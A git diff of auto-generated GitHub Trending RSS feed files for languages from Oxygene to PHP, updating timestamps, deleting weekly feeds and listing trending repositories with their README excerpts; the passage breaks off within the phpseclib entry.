a/oxygene/weekly/index.xml b/oxygene/weekly/index.xml deleted file mode 100644 index b3434a4415a..00000000000 --- a/oxygene/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Oxygene Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:29Z - Weekly Trending of Oxygene in GitHub - - \ No newline at end of file diff --git a/oz/daily/index.xml b/oz/daily/index.xml index 299ca3ce47a..36fae7e947d 100644 --- a/oz/daily/index.xml +++ b/oz/daily/index.xml @@ -1,7 +1,7 @@ GitHub Oz Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:34Z + 2023-09-25T01:36:50Z Daily Trending of Oz in GitHub \ No newline at end of file diff --git a/oz/weekly/index.xml b/oz/weekly/index.xml deleted file mode 100644 index 5e4a3a4d285..00000000000 --- a/oz/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Oz Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:34Z - Weekly Trending of Oz in GitHub - - \ No newline at end of file diff --git a/p4/daily/index.xml b/p4/daily/index.xml index b54a56f6f6f..e07900ac445 100644 --- a/p4/daily/index.xml +++ b/p4/daily/index.xml @@ -1,7 +1,7 @@ GitHub P4 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:36Z + 2023-09-25T01:36:51Z Daily Trending of P4 in GitHub \ No newline at end of file diff --git a/p4/weekly/index.xml b/p4/weekly/index.xml deleted file mode 100644 index 92d82b24ff1..00000000000 --- a/p4/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub P4 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:33Z - Weekly Trending of P4 in GitHub - - \ No newline at end of file diff --git a/pan/daily/index.xml b/pan/daily/index.xml index ccd7e2e472b..8c64a241481 100644 --- a/pan/daily/index.xml +++ b/pan/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pan Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:33Z + 2023-09-25T01:36:49Z Daily Trending of Pan in GitHub \ No newline at end of file diff --git a/pan/weekly/index.xml b/pan/weekly/index.xml deleted file mode 100644 index 3fe6acdb31a..00000000000 --- a/pan/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pan Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:31Z - Weekly Trending of Pan in GitHub - - \ No newline at end of file diff --git a/papyrus/daily/index.xml b/papyrus/daily/index.xml index 987ad499faa..8b3306ec1dd 100644 --- a/papyrus/daily/index.xml +++ b/papyrus/daily/index.xml @@ -1,7 +1,14 @@ GitHub Papyrus Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:40Z + 2023-09-25T01:36:54Z Daily Trending of Papyrus in GitHub + + rpinedaec83/Pacha02.2023-09 + 2023-09-25T01:36:54Z + tag:github.com,2023-09-25:/rpinedaec83/Pacha02.2023-09 + + <p>Pacha02.2023-07</p><hr> + \ No newline at end of file diff --git a/papyrus/weekly/index.xml b/papyrus/weekly/index.xml deleted file mode 100644 index a44204480b9..00000000000 --- a/papyrus/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Papyrus Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:35Z - Weekly Trending of Papyrus in GitHub - - \ No newline at end of file diff --git a/parrot-assembly/daily/index.xml b/parrot-assembly/daily/index.xml index c9638ed610b..19788c33801 100644 --- a/parrot-assembly/daily/index.xml +++ b/parrot-assembly/daily/index.xml @@ -1,7 +1,7 @@ GitHub Parrot Assembly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:39Z + 2023-09-25T01:36:52Z Daily Trending of Parrot Assembly in GitHub \ No newline at end of file diff --git a/parrot-assembly/weekly/index.xml b/parrot-assembly/weekly/index.xml deleted file mode 100644 index 706ca6598ea..00000000000 --- a/parrot-assembly/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Parrot Assembly Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:36Z - Weekly Trending of Parrot Assembly in GitHub - - \ No newline at end of file diff --git a/parrot-internal-representation/daily/index.xml b/parrot-internal-representation/daily/index.xml index 439e91225c6..8f1e9db18c2 100644 --- a/parrot-internal-representation/daily/index.xml +++ b/parrot-internal-representation/daily/index.xml @@ -1,7 +1,7 @@ GitHub Parrot Internal Representation Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:37Z + 2023-09-25T01:36:55Z Daily Trending of Parrot Internal Representation in GitHub \ No newline at end of file diff --git a/parrot-internal-representation/weekly/index.xml b/parrot-internal-representation/weekly/index.xml deleted file mode 100644 index 0f51d4e30d2..00000000000 --- a/parrot-internal-representation/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Parrot Internal Representation Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:35Z - Weekly Trending of Parrot Internal Representation in GitHub - - \ No newline at end of file diff --git a/parrot/daily/index.xml b/parrot/daily/index.xml index 9d127e7d15b..70961d13e79 100644 --- a/parrot/daily/index.xml +++ b/parrot/daily/index.xml @@ -1,7 +1,7 @@ GitHub Parrot Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:38Z + 2023-09-25T01:36:53Z Daily Trending of Parrot in GitHub \ No newline at end of file diff --git a/parrot/weekly/index.xml b/parrot/weekly/index.xml deleted file mode 100644 index 262d8fd10bb..00000000000 --- a/parrot/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Parrot Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:37Z - Weekly Trending of Parrot in GitHub - - \ No newline at end of file diff --git a/pascal/daily/index.xml b/pascal/daily/index.xml index 66c598198be..cadad372c4a 100644 --- a/pascal/daily/index.xml +++ b/pascal/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pascal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:44Z + 2023-09-25T01:37:00Z Daily Trending of Pascal in GitHub \ No newline at end of file diff --git a/pascal/weekly/index.xml b/pascal/weekly/index.xml deleted file mode 100644 index 0459273e96c..00000000000 --- a/pascal/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Pascal Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:42Z - Weekly Trending of Pascal in GitHub - - - HashLoad/handle-exception - 2023-09-24T01:57:42Z - tag:github.com,2023-09-24:/HashLoad/handle-exception - - <p>Middleware for handle exception in HORSE</p><hr> - - \ No newline at end of file diff --git a/pawn/daily/index.xml b/pawn/daily/index.xml index a25c1926947..84a6cc8cac5 100644 --- a/pawn/daily/index.xml +++ b/pawn/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pawn Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:42Z + 2023-09-25T01:36:56Z Daily Trending of Pawn in GitHub \ No newline at end of file diff --git a/pawn/weekly/index.xml b/pawn/weekly/index.xml deleted file mode 100644 index 406da079b7b..00000000000 --- a/pawn/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pawn Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:40Z - Weekly Trending of Pawn in GitHub - - \ No newline at end of file diff --git a/peg.js/daily/index.xml b/peg.js/daily/index.xml index b0426e5ba16..fd6719b6ecf 100644 --- a/peg.js/daily/index.xml +++ b/peg.js/daily/index.xml @@ -1,7 +1,7 @@ GitHub PEG.js Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:43Z + 2023-09-25T01:36:57Z Daily Trending of PEG.js in GitHub \ No newline at end of file diff --git a/peg.js/weekly/index.xml b/peg.js/weekly/index.xml deleted file mode 100644 index 20ada04230c..00000000000 --- a/peg.js/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PEG.js Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:38Z - Weekly Trending of PEG.js in GitHub - - \ No newline at end of file diff --git a/pep8/daily/index.xml b/pep8/daily/index.xml index 4f22570d215..b0bb3d7c3b4 100644 --- a/pep8/daily/index.xml +++ b/pep8/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pep8 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:46Z + 2023-09-25T01:37:01Z Daily Trending of Pep8 in GitHub \ No newline at end of file diff --git a/pep8/weekly/index.xml b/pep8/weekly/index.xml deleted file mode 100644 index 3f1c8dd3b46..00000000000 --- a/pep8/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pep8 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:43Z - Weekly Trending of Pep8 in GitHub - - \ No newline at end of file diff --git a/perl/daily/index.xml b/perl/daily/index.xml index f78ef773e5c..b3a5e513076 100644 --- a/perl/daily/index.xml +++ b/perl/daily/index.xml @@ -1,21 +1,21 @@ GitHub Perl Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:52Z + 2023-09-25T01:37:13Z Daily Trending of Perl in GitHub - dlas/inventory - 2023-09-24T01:37:52Z - tag:github.com,2023-09-24:/dlas/inventory - - <p></p><hr> + ztomasze/QueensHeart + 2023-09-25T01:37:13Z + tag:github.com,2023-09-25:/ztomasze/QueensHeart + + <p>An IF game about a goblin that lives down a well.</p><hr> - Ensembl/VEP_plugins - 2023-09-24T01:37:52Z - tag:github.com,2023-09-24:/Ensembl/VEP_plugins - - <p>Plugins for the Ensembl Variant Effect Predictor (VEP)</p><hr><h1>Ensembl Variant Effect Predictor - Plugins</h1> <p>This repository holds plugins which are developed to extend the functionality of the Ensembl Variant Effect Predictor (VEP). See <a href="https://github.com/Ensembl/ensembl-vep/raw/main/README.md">here</a> for the core VEP code.</p> <h2>Usage</h2> <p>Please refer to the documentation in each file for details of what each plugin does and how to run it. At minimum, you will need to put the module in your ~/.vep/Plugins directory (or elsewhere on your $PERL5LIB) and then run the VEP with the argument --plugin <module name> . </module></p> <h2>Documentation</h2> <ul> <li><a href="https://www.ensembl.org/info/docs/tools/vep/index.html">VEP documentation</a> has general information on installing and running VEP.</li> <li><a href="https://www.ensembl.org/info/docs/tools/vep/script/vep_plugins.html">VEP plugin documentation</a> details how plugins are developed and used.</li> </ul> <h2>Contact Us</h2> <p>Please create a separate <a href="https://github.com/Ensembl/VEP_plugins/issues">issue</a> for each query.</p> <p>Comments or questions can also be sent to the Ensembl Helpdesk at:</p> <p><a href="https://www.ensembl.org/Help/Contact">https://www.ensembl.org/Help/Contact</a>.</p> + cbuckley/NetDeviceTracker + 2023-09-25T01:37:13Z + tag:github.com,2023-09-25:/cbuckley/NetDeviceTracker + + <p>A perl script that can connect to dd wrt via telnet and report device changes.</p><hr><h1>NetDeviceTracker</h1> <p>A perl script that can connect to dd wrt via telnet and report device changes.</p> \ No newline at end of file diff --git a/perl/weekly/index.xml b/perl/weekly/index.xml deleted file mode 100644 index 6e6c9972b1f..00000000000 --- a/perl/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Perl Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:50Z - Weekly Trending of Perl in GitHub - - - JJ/IV- - 2023-09-24T01:57:50Z - tag:github.com,2023-09-24:/JJ/IV- - - <p>Repositorio anual de IV</p><hr><h1>Repositorio de clase de Infraestructura Virtual de la <a href="https://etsiit.ugr.es">ETSIIT</a></h1> <blockquote> <p>Este repositorio está añadido al <a href="https://hacktoberfest.com">Hacktoberfest</a>. Puedes ayudar mirando los diferentes documentos, sobre todo sobre sesiones semanales, y ayudar con errores de enlaces o aportando de cualquier otra forma. También se agradecen cambios a los workflows de CI que se usan.</p> </blockquote> <p>Repositorio para el material específico de cada clase, planificación y ejercicios.</p> <ul> <li>Debes consultar <a href="http://jj.github.io/IV">los apuntes de la materia</a> antes de pasar a ejecutar las diferentes fases del proyecto.</li> <li>Comprueba la <a href="https://raw.githubusercontent.com/JJ/IV-/master/Metodolog%C3%ADa_y_criterios_de_evaluaci%C3%B3n.md">metodología y criterios de evaluación</a>.</li> <li>Comienza con <a href="https://raw.githubusercontent.com/JJ/IV-/master/sesiones/README.md">la programación y objetivos de las diferentes sesiones de la asignatura</a>.</li> <li>Las entregas de los diferentes objetivos se hacen mediante pull requests a ficheros en <a href="https://raw.githubusercontent.com/JJ/IV-/master/proyectos">este directorio</a>. Lee <a href="https://raw.githubusercontent.com/JJ/IV-/master/proyectos/README.md">las instrucciones</a> para hacerlo correctamente, y resolver los conflictos que puedan surgir.</li> </ul> - - - nichtich/App-Run - 2023-09-24T01:57:50Z - tag:github.com,2023-09-24:/nichtich/App-Run - - <p>Boilerplate for Applications</p><hr><p>The Perl module App::Run provides a boilerplate for applications that can be executed both from command line and as backend. The package provides a convenient wrapper for initialization and configuration.</p> <p><strong>This module is not maintaned anymore, please just <a href="http://neilb.org/2013/07/24/adopt-a-module.html">adopt it</a> as you like or have a look at <a href="https://metacpan.org/release/App-Cmd">App::Cmd</a>!</strong></p> - - - kentfredric/XT - 2023-09-24T01:57:50Z - tag:github.com,2023-09-24:/kentfredric/XT - - <p>A viral platform for content aggregation and world domination</p><hr><h1>NAME</h1> <p>XT - A viral platform for content aggregation and world domination</p> <h1>VERSION</h1> <p>version 0.001000</p> <h1>DESCRIPTION</h1> <p>You've seen them before, 9-gag and all those pesky "funny pics" websites that are forever clogging your <code>$socialnetwork</code>.</p> <p>They're effective at what they do, find cool stuff and make it go viral.</p> <p>Outside these specific websites, the concept doesn't seem to have spread yet, the only noteworthy example being reddit, which is a generalised approach at unifying a sense of virality with arbitrary content.</p> <p>This project is intended to fill this market niché, and provide a topic-specific platform for promoting content, in a way that will hopefully supercede the sphere of "Planet" RSS Aggregators, so that gems are more likely to surface, and chaff is more likely to vanish, as opposed to having a perpetual linear stream of randomly variating quality.</p> <p>In simple terms:</p> <ul> <li>people submit content ( either by individual content links, or via a feed )</li> <li>content is aggregated into a pool</li> <li>people vote up/down on content</li> <li>people classify content</li> <li>"hot" content is delivered to a "hot" page.</li> <li>everyone benefits</li> </ul> <h1>AUTHORS</h1> <ul> <li>Kent Fredric <a href="mailto:kentfredric@gmail.com">kentfredric@gmail.com</a></li> <li>Torsten Raudssus <a href="mailto:getty@cpan.org">getty@cpan.org</a></li> </ul> <h1>COPYRIGHT AND LICENSE</h1> <p>This software is copyright (c) 2013 by Kent Fredric <a href="mailto:kentfredric@gmail.com">kentfredric@gmail.com</a>.</p> <p>This is free software; you can redistribute it and/or modify it under the same terms as the Perl 5 programming language system itself.</p> - - \ No newline at end of file diff --git a/php/daily/index.xml b/php/daily/index.xml index c7a64d9181b..05b2663fdcd 100644 --- a/php/daily/index.xml +++ b/php/daily/index.xml @@ -1,14 +1,28 @@ GitHub PHP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:06Z + 2023-09-25T01:37:08Z Daily Trending of PHP in GitHub - laravel/pail - 2023-09-24T01:38:06Z - tag:github.com,2023-09-24:/laravel/pail - - <p>Effortlessly tail Logs in Laravel 🪣</p><hr><p align="center"> <img src="https://raw.githubusercontent.com/nunomaduro/pail/master/docs/demo.jpg" style="width:70%;" alt="Pail"> </p> <p align="center"> <a href="https://github.com/nunomaduro/pail/actions"><img alt="GitHub Workflow Status (master)" src="https://github.com/nunomaduro/pail/actions/workflows/tests.yml/badge.svg?sanitize=true"></a> <a href="https://packagist.org/packages/nunomaduro/pail"><img alt="Total Downloads" src="https://img.shields.io/packagist/dt/nunomaduro/pail"></a> <a href="https://packagist.org/packages/nunomaduro/pail"><img alt="Latest Version" src="https://img.shields.io/packagist/v/nunomaduro/pail"></a> <a href="https://packagist.org/packages/nunomaduro/pail"><img alt="License" src="https://img.shields.io/packagist/l/nunomaduro/pail"></a> </p> <p></p> <hr> <p><strong>Pail</strong> is an experimental package (or, who knows, perhaps a future Laravel feature?) designed with a single goal in mind: to provide an effortless way to tail logs in our Laravel applications.</p> <p>Difference from other log tailing packages:</p> <ul> <li>🌌 A user-friendly, sleek CLI interface.</li> <li>⚗️ <strong>Compatibility with any log driver</strong>. You don't need to use <code>app.log</code> or <code>laravel.log</code>. Whether you're integrated with <a href="https://sentry.io">Sentry</a> or <a href="https://bugsnag.com">Bugsnag</a>, <strong>Pail</strong> is crafted to work alongside.</li> <li>🔑 <strong>Filter logs by the authenticated user</strong>. Yes, you read it right. <strong>Pail</strong> can filter logs by the authenticated user, the one that triggered the request.</li> </ul> <p>🚧 <strong>Note:</strong> As of now, <strong>Pail</strong> is still in its proof-of-concept phase. It's an idea in the making, not yet optimized for production scenarios. Any feedback is welcome!</p> <h2>Installation</h2> <blockquote> <p><strong>Requires <a href="https://php.net/releases/">PHP 8.2+</a></strong></p> </blockquote> <p>Get started with <strong>Pail</strong> by installing the package via Composer:</p> <pre><code class="language-bash">composer require nunomaduro/pail:dev-main </code></pre> <h2>Usage</h2> <p>To start tailing logs, run the <code>pail</code> command:</p> <pre><code class="language-bash">php artisan pail </code></pre> <p>To increase the verbosity of the output, avoiding truncation (...), use the <code>-v</code> option:</p> <pre><code class="language-bash">php artisan pail -v </code></pre> <p>To filter logs by its content, use the <code>--filter</code> option:</p> <pre><code class="language-bash">php artisan pail --filter="Illuminate\Database" </code></pre> <p>To filter logs by the authenticated user, the one that triggered the request, use the <code>--user</code> option:</p> <pre><code class="language-bash">php artisan pail --user=1 </code></pre> <h2>License</h2> <p><strong>Pail</strong> was created by <strong><a href="https://twitter.com/enunomaduro">Nuno Maduro</a></strong> under the <strong><a href="https://opensource.org/licenses/MIT">MIT license</a></strong>.</p> + 10up/plugin-check + 2023-09-25T01:37:08Z + tag:github.com,2023-09-25:/10up/plugin-check + + <p>A repository for the new Plugin Check plugin from the WordPress Performance team</p><hr><h1>Plugin Check</h1> <p>This repository is for the WordPress plugin checker, a tool for plugin developers to analyze their plugin code and flag any violations or concerns around plugin development best practices, from basic requirements like correct usage of internationalization functions to accessibility, performance, and security best practices.</p> <p>The WordPress plugin checker was <a href="https://make.wordpress.org/plugins/2022/07/05/proposal-for-a-wordpress-plugin-checker/">first proposed in summer 2022</a> and is now at an early MVP stage.</p> <h2>Features</h2> <h3>For end users</h3> <ul> <li>Allows analyzing any installed plugin using either a WP Admin screen or a WP-CLI command.</li> <li>Supports two kinds of checks: <ul> <li>Static checks, which analyze the code, either using PHPCodeSniffer sniffs or custom logic e.g. using regular expressions.</li> <li>Runtime checks, which actually execute certain parts of the code, such as running specific WordPress hooks with the plugin active.</li> </ul> </li> <li>Allows customizing which checks are run, either via a list of individual check identifiers, or specific check categories.</li> <li>Comes with an ever-growing list of checks for various plugin development requirements and best practices. Please see the <a href="https://raw.githubusercontent.com/10up/plugin-check/trunk/includes/Checker/Abstract_Check_Runner.php#L358"><code>Abstract_Check_Runner::register_checks()</code> method</a> for a quick overview of currently available checks.</li> </ul> <h3>For developers</h3> <ul> <li>Facilitates efficient yet flexible authoring of new checks, either using a base class for common check patterns, or implementing an interface for more specific checks. <ul> <li>Every check has to implement either the <a href="https://raw.githubusercontent.com/10up/plugin-check/trunk/includes/Checker/Static_Check.php"><code>Static_Check</code></a> or the <a href="https://raw.githubusercontent.com/10up/plugin-check/trunk/includes/Checker/Runtime_Check.php"><code>Runtime_Check</code></a> interface.</li> <li>Most checks will benefit from extending either the <a href="https://raw.githubusercontent.com/10up/plugin-check/trunk/includes/Checker/Checks/Abstract_File_Check.php"><code>Abstract_File_Check</code></a>, the <a href="https://raw.githubusercontent.com/10up/plugin-check/trunk/includes/Checker/Checks/Abstract_PHP_CodeSniffer_Check.php"><code>Abstract_PHPCodeSniffer_Check</code></a>, or the <a href="https://raw.githubusercontent.com/10up/plugin-check/trunk/includes/Checker/Checks/Abstract_Runtime_Check.php"><code>Abstract_Runtime_Check</code></a> class.</li> </ul> </li> <li>Comes with comprehensive unit test coverage.</li> </ul> <h2>How to use</h2> <p>The WordPress plugin checker is a WordPress plugin itself, which can be installed on any WordPress site. While it is implemented in a way that should avoid any disruptions on the site that it is being used on, it is still <strong>advised not to use the plugin checker in a production environment</strong>.</p> <p>Currently, the only way to install the plugin checker is to download it from this GitHub repository. Please see the <a href="https://raw.githubusercontent.com/10up/plugin-check/trunk/#contributing">contributing section below</a> for further instructions. Once a first beta version is available, it will be distributed in a standalone ZIP file, e.g. via the wordpress.org plugin repository.</p> <p>After having the plugin activated, you can analyze any other plugin installed on the same site, either using the WP Admin user interface or WP-CLI:</p> <ul> <li>To check a plugin using WP Admin, please navigate to the <em>Tools &gt; Plugin Check</em> menu. You need to be able to manage plugins on your site in order to access that screen.</li> <li>To check a plugin using WP-CLI, please use the <code>wp plugin check</code> command. For example, to check the "Hello Dolly" plugin: <code>wp plugin check hello.php</code> <ul> <li>Note that by default when using WP-CLI, only static checks can be executed. In order to also include runtime checks, a workaround is currently necessary using the <code>--require</code> argument of WP-CLI, to manually load the <code>cli.php</code> file within the plugin checker directory before WordPress is loaded. For example: <code>wp plugin check hello.php --require=./wp-content/plugins/plugin-check/cli.php</code></li> </ul> </li> </ul> <img alt="WordPress plugin checker UI in WP Admin" src="https://github.com/10up/plugin-check/assets/3531426/19d0c1ce-8c37-4efd-b8c6-d252e6ce29c9"> <em>Screenshot of the plugin checker's UI in WP Admin</em> <h2>Contributing</h2> <p>To set up the repository locally, you will need to clone this GitHub repository (or a fork of it) and then install the relevant dependencies:</p> <pre><code>git clone https://github.com/10up/plugin-check.git wp-content/plugins/plugin-check cd wp-content/plugins/plugin-check composer install npm install </code></pre> <h3>Built-in development environment (optional)</h3> <p>With the above commands, you can use the plugin in any development environment as you like. The recommended way is to use the built-in development environment, which is based on the <a href="https://www.npmjs.com/package/@wordpress/env"><code>@wordpress/env</code> package</a>, as that will allow you to use the preconfigured commands to e.g. run unit tests, linting etc. You will need to have Docker installed to use this environment.</p> <p>You can start the built-in environment as follows:</p> <pre><code>npm run wp-env start </code></pre> <p>If you want to stop the environment again, you can use:</p> <pre><code>npm run wp-env stop </code></pre> <p>For further information on contributing, please see the <a href="https://raw.githubusercontent.com/10up/plugin-check/trunk/CONTRIBUTING.md">contributing guide</a>.</p> <h3>Technical documentation</h3> <p>To learn more about the functionality and technical details of the WordPress plugin checker, please refer to the <a href="https://raw.githubusercontent.com/10up/plugin-check/trunk/docs/README.md">technical documentation</a>.</p> <h2>License</h2> <p>The WordPress plugin checker is free software, and is released under the terms of the GNU General Public License version 2 or (at your option) any later version. See <a href="https://raw.githubusercontent.com/10up/plugin-check/trunk/LICENSE">LICENSE</a> for complete license.</p> + + + cjmellor/browser-sessions + 2023-09-25T01:37:08Z + tag:github.com,2023-09-25:/cjmellor/browser-sessions + + <p>A Laravel package to enable users to manage and monitor their active browser sessions. Allows users to view devices where they are logged in and provides options to terminate unrecognized or all sessions, enhancing account security</p><hr><p><a href="https://packagist.org/packages/cjmellor/browser-sessions"><img src="https://img.shields.io/packagist/v/cjmellor/browser-sessions?color=rgb%2856%20189%20248%29&amp;label=release&amp;style=for-the-badge" alt="Latest Version on Packagist"></a> <a href="https://packagist.org/packages/cjmellor/browser-sessions"><img src="https://img.shields.io/packagist/dt/cjmellor/browser-sessions.svg?color=rgb%28249%20115%2022%29&amp;style=for-the-badge" alt="Total Downloads"></a> <img src="https://img.shields.io/packagist/dependency-v/cjmellor/browser-sessions/php?color=rgb%28165%20180%20252%29&amp;logo=php&amp;logoColor=rgb%28165%20180%20252%29&amp;style=for-the-badge" alt="Packagist PHP Version"> <img src="https://img.shields.io/badge/laravel-%5E10-rgb(235%2068%2050)?style=for-the-badge&amp;logo=laravel" alt="Laravel Version"></p> <blockquote> <p><strong>Warning</strong></p> <p>This package can only be used with the <code>database</code> driver for the Sessions. This is how it is done in Jetstream, so keep this in mind as it may turn you off knowing you need to manage sessions in the database.</p> </blockquote> <h1>Logout Other Browser Sessions</h1> <p>This package allows you to log out sessions that are active on other devices.</p> <p>You may find this useful if you have logged in on a different device, or you have let someone else use your account, or you have forgotten to log out of a public computer. It can especially be useful if you see suspicious device activity on your account.</p> <blockquote> <p><strong>Note</strong></p> <p>This code has been extracted from <a href="https://jetstream.laravel.com">Laravel Jetstream</a> and cannot be used outside a Laravel application.</p> </blockquote> <h2>Installation</h2> <p>You can install the package via Composer:</p> <pre><code class="language-bash">composer require cjmellor/browser-sessions </code></pre> <h2>Usage</h2> <h3>Retrieving A User's Current Sessions</h3> <p>Use the <code>BrowserSessions</code> facade to retrieve all the current user's sessions:</p> <pre><code class="language-php">BrowserSessions::sessions(); </code></pre> <p>This will return an object with some information about each session:</p> <pre><code class="language-php">[ { "device": { "browser": "Safari", "desktop": true, "mobile": false, "platform": "OS X" }, "ip_address": "127.0.0.1", "is_current_device": true, "last_active": "1 second ago" } ] </code></pre> <h3>Logging Out Other Browser Sessions</h3> <p>Use the <code>BrowserSessions</code> facade to log out all the user's other browser sessions:</p> <pre><code class="language-php">BrowserSessions::logoutOtherBrowserSessions(); </code></pre> <blockquote> <p><strong>Note</strong></p> <p>A <code>password</code> must be sent along to the method to confirm the user's identity. Only then will the sessions be removed. See below on how you would implement this.</p> </blockquote> <h3>Views</h3> <p>The package does not come with any pre-defined views to use. Here is an example though on how this could be implemented</p> <p>In your <code>routes/web.php</code> file add the following route:</p> <pre><code class="language-php">Route::delete('logout-browser-sessions', function () { BrowserSessions::logoutOtherBrowserSessions(); return back()-&gt;with('status', 'Logged out of other browser sessions.'); })-&gt;name('logout-browser-sessions'); </code></pre> <p>Then in your view, you can add a form to submit a <code>DELETE</code> request to the above route:</p> <pre><code class="language-html">&lt;form method="POST" action="{{ route('logout-browser-sessions') }}"&gt; @csrf @method('DELETE') &lt;x-text-input label="Password" name="password" placeholder="Enter password" type="password" /&gt; &lt;button type="submit"&gt;Logout Other Sessions&lt;/button&gt; &lt;/form&gt; </code></pre> <h2>Retrieve the Users' Last Activity</h2> <p>Get the users' last activity by using the <code>getUserLastActivity</code> method:</p> <pre><code class="language-php">BrowserSessions::getUserLastActivity(); </code></pre> <p>You can also view the date in a human-readable format:</p> <pre><code class="language-php">BrowserSessions::getUserLastActivity(human: true); </code></pre> <h2>Credits</h2> <ul> <li><a href="https://github.com/cjmellor">Chris Mellor</a></li> </ul> <h2>License</h2> <p>The MIT Licence (MIT). Please see <a href="https://raw.githubusercontent.com/cjmellor/browser-sessions/main/LICENSE">Licence File</a> for more information.</p> + + + phpDocumentor/ReflectionCommon + 2023-09-25T01:37:08Z + tag:github.com,2023-09-25:/phpDocumentor/ReflectionCommon + + <p></p><hr><p><a href="https://opensource.org/licenses/MIT"><img src="https://img.shields.io/badge/License-MIT-yellow.svg?sanitize=true" alt="License: MIT"></a> <img src="https://github.com/phpDocumentor/ReflectionCommon/workflows/Qa%20workflow/badge.svg?sanitize=true" alt="Qa workflow"> <a href="https://coveralls.io/github/phpDocumentor/ReflectionCommon?branch=master"><img src="https://img.shields.io/coveralls/github/phpDocumentor/ReflectionCommon.svg?sanitize=true" alt="Coveralls Coverage"></a> <a href="https://scrutinizer-ci.com/g/phpDocumentor/ReflectionCommon/?branch=master"><img src="https://img.shields.io/scrutinizer/coverage/g/phpDocumentor/ReflectionCommon.svg?sanitize=true" alt="Scrutinizer Code Coverage"></a> <a href="https://scrutinizer-ci.com/g/phpDocumentor/ReflectionCommon/?branch=master"><img src="https://img.shields.io/scrutinizer/g/phpDocumentor/ReflectionCommon.svg?sanitize=true" alt="Scrutinizer Code Quality"></a> <a href="https://packagist.org/packages/phpDocumentor/Reflection-Common"><img src="https://img.shields.io/packagist/v/phpDocumentor/Reflection-Common.svg?sanitize=true" alt="Stable Version"></a> <a href="https://packagist.org/packages/phpDocumentor/Reflection-Common"><img src="https://img.shields.io/packagist/vpre/phpDocumentor/Reflection-Common.svg?sanitize=true" alt="Unstable Version"></a></p> <h1>ReflectionCommon</h1> \ No newline at end of file diff --git a/php/weekly/index.xml b/php/weekly/index.xml deleted file mode 100644 index 2669ae57ea3..00000000000 --- a/php/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub PHP Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:58Z - Weekly Trending of PHP in GitHub - - - phpseclib/phpseclib - 2023-09-24T01:57:58Z - tag:github.com,2023-09-24:/phpseclib/phpseclib - - <p>PHP Secure Communications Library</p><hr><h1>phpseclib - PHP Secure Communications Library</h1> <p><a href="https://github.com/phpseclib/phpseclib/actions/workflows/ci.yml?query=branch%3Amaster"><img src="https://github.com/phpseclib/phpseclib/actions/workflows/ci.yml/badge.svg?branch=master&amp;event=push" alt="CI Status" title="CI Status"></a></p> <h2>Supporting phpseclib</h2> <ul> <li><a href="https://www.patreon.com/phpseclib">Become a backer or sponsor on Patreon</a></li> <li><a href="http://sourceforge.net/donate/index.php?group_id=198487">One-time donation via PayPal or crypto-currencies</a></li> <li><a href="https://tidelift.com/subscription/pkg/packagist-phpseclib-phpseclib?utm_source=packagist-phpseclib-phpseclib&amp;utm_medium=referral&amp;utm_campaign=readme">Subscribe to Tidelift</a></li> </ul> <h2>Introduction</h2> <p>MIT-licensed pure-PHP implementations of the following:</p> <p>SSH-2, SFTP, X.509, an arbitrary-precision integer arithmetic library, Ed25519 / Ed449 / Curve25519 / Curve449, ECDSA / ECDH (with support for 66 curves), RSA (PKCS#1 v2.2 compliant), 